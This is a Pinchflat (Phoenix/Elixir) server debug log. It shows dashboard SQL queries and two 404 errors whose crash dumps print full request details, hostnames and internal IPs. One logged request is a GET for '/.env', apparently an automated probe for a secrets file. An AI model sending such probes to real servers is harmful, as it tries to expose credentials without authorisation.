ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 04:52:07.966 [debug] QUERY OK source="media_items" db=0.3ms idle=2.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 04:52:07.966 [debug] QUERY OK source="sources" db=0.1ms idle=2.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [30, 31] 04:52:07.971 [debug] QUERY OK source="media_items" db=2.9ms idle=4.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 04:52:07.973 [debug] QUERY OK source="media_items" db=1.5ms idle=6.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 04:52:07.973 [debug] QUERY OK source="sources" db=0.1ms idle=7.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 04:52:07.975 [info] Sent 200 in 19ms 04:52:10.075 [info] GET / 04:52:10.075 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 04:52:10.075 [debug] QUERY OK source="settings" db=0.1ms idle=540.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:10.075 [debug] QUERY OK source="media_profiles" db=0.0ms idle=541.1ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 04:52:10.076 [debug] QUERY OK source="sources" db=0.0ms idle=541.2ms SELECT count(s0."id") FROM "sources" AS s0 [] 04:52:10.076 [debug] QUERY OK source="media_items" db=0.7ms idle=541.4ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 04:52:10.077 [debug] QUERY OK source="media_items" db=0.5ms idle=421.0ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 04:52:10.077 [debug] QUERY OK source="settings" db=0.0ms idle=2.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:10.077 [debug] QUERY OK source="settings" db=0.0ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:10.078 [debug] QUERY OK source="settings" db=0.1ms idle=2.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:10.079 [debug] QUERY OK source="tasks" db=0.1ms idle=2.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 04:52:10.079 [debug] QUERY OK source="media_items" db=0.3ms idle=1.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 04:52:10.080 [debug] QUERY OK source="media_items" db=0.3ms idle=2.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 04:52:10.080 [debug] QUERY OK source="sources" db=0.1ms idle=2.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [30, 31] 04:52:10.084 [debug] QUERY OK source="media_items" db=1.4ms idle=4.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 04:52:10.085 [debug] QUERY OK source="media_items" db=1.4ms idle=5.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 04:52:10.086 [debug] QUERY OK source="sources" db=0.2ms idle=6.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 04:52:10.088 [info] Sent 200 in 12ms 04:52:13.237 [info] GET /zz-nonexistent-test-8492.html 04:52:13.237 [debug] QUERY OK source="settings" db=0.2ms idle=1702.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:13.238 [debug] QUERY OK source="settings" db=0.1ms idle=1703.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:13.238 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:52:13.238 [error] #PID<0.138899.0> running PinchflatWeb.Endpoint (connection #PID<0.138896.0>, stream id 3) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /zz-nonexistent-test-8492.html ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /zz-nonexistent-test-8492 (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138896.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/zz-nonexistent-test-8492.html", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 45192}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "fr-FR,fr;q=0.9,en-US;q=0.8", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "\"Chromium\";v=\"130\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"macOS\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 3, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.138899.0>, params: %{}, path_info: ["zz-nonexistent-test-8492"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "fr-FR,fr;q=0.9,en-US;q=0.8"}, {"host", "pinchflat.ocaff.com"}, {"sec-ch-ua", "\"Chromium\";v=\"130\""}, {"sec-ch-ua-mobile", "?0"}, {"sec-ch-ua-platform", "\"macOS\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "none"}, {"sec-fetch-user", "?1"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36"}, {"x-forwarded-for", "45.88.138.44"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "45.88.138.44"} ], request_path: "/zz-nonexistent-test-8492.html", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXUvGDDhUEtOIgADZRB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138896.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/zz-nonexistent-test-8492.html", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 45192}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "fr-FR,fr;q=0.9,en-US;q=0.8", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "\"Chromium\";v=\"130\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"macOS\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 3, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /zz-nonexistent-test-8492 (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138896.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/zz-nonexistent-test-8492.html", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 45192}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "fr-FR,fr;q=0.9,en-US;q=0.8", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "\"Chromium\";v=\"130\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"macOS\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", " (truncated) 04:52:16.594 [info] GET /.env 04:52:16.595 [debug] QUERY OK source="settings" db=0.3ms idle=1060.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:16.596 [debug] QUERY OK source="settings" db=0.3ms idle=1061.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:16.596 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:52:16.597 [error] #PID<0.138900.0> running PinchflatWeb.Endpoint (connection #PID<0.138896.0>, stream id 4) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138896.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 45192}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-GB,en;q=0.5", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "\"Chromium\";v=\"124\", \"Not_A Brand\";v=\"8\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Linux\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 4, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.138900.0>, params: %{}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-GB,en;q=0.5"}, {"host", "pinchflat.ocaff.com"}, {"sec-ch-ua", "\"Chromium\";v=\"124\", \"Not_A Brand\";v=\"8\""}, {"sec-ch-ua-mobile", "?0"}, {"sec-ch-ua-platform", "\"Linux\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "cross-site"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "45.88.138.44"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "45.88.138.44"} ], request_path: "/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXUvSjaZLmOlhcADZRh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138896.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 45192}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-GB,en;q=0.5", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "\"Chromium\";v=\"124\", \"Not_A Brand\";v=\"8\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Linux\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 4, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138896.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 45192}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-GB,en;q=0.5", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "\"Chromium\";v=\"124\", \"Not_A Brand\";v=\"8\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Linux\"", "sec-fetch-dest" 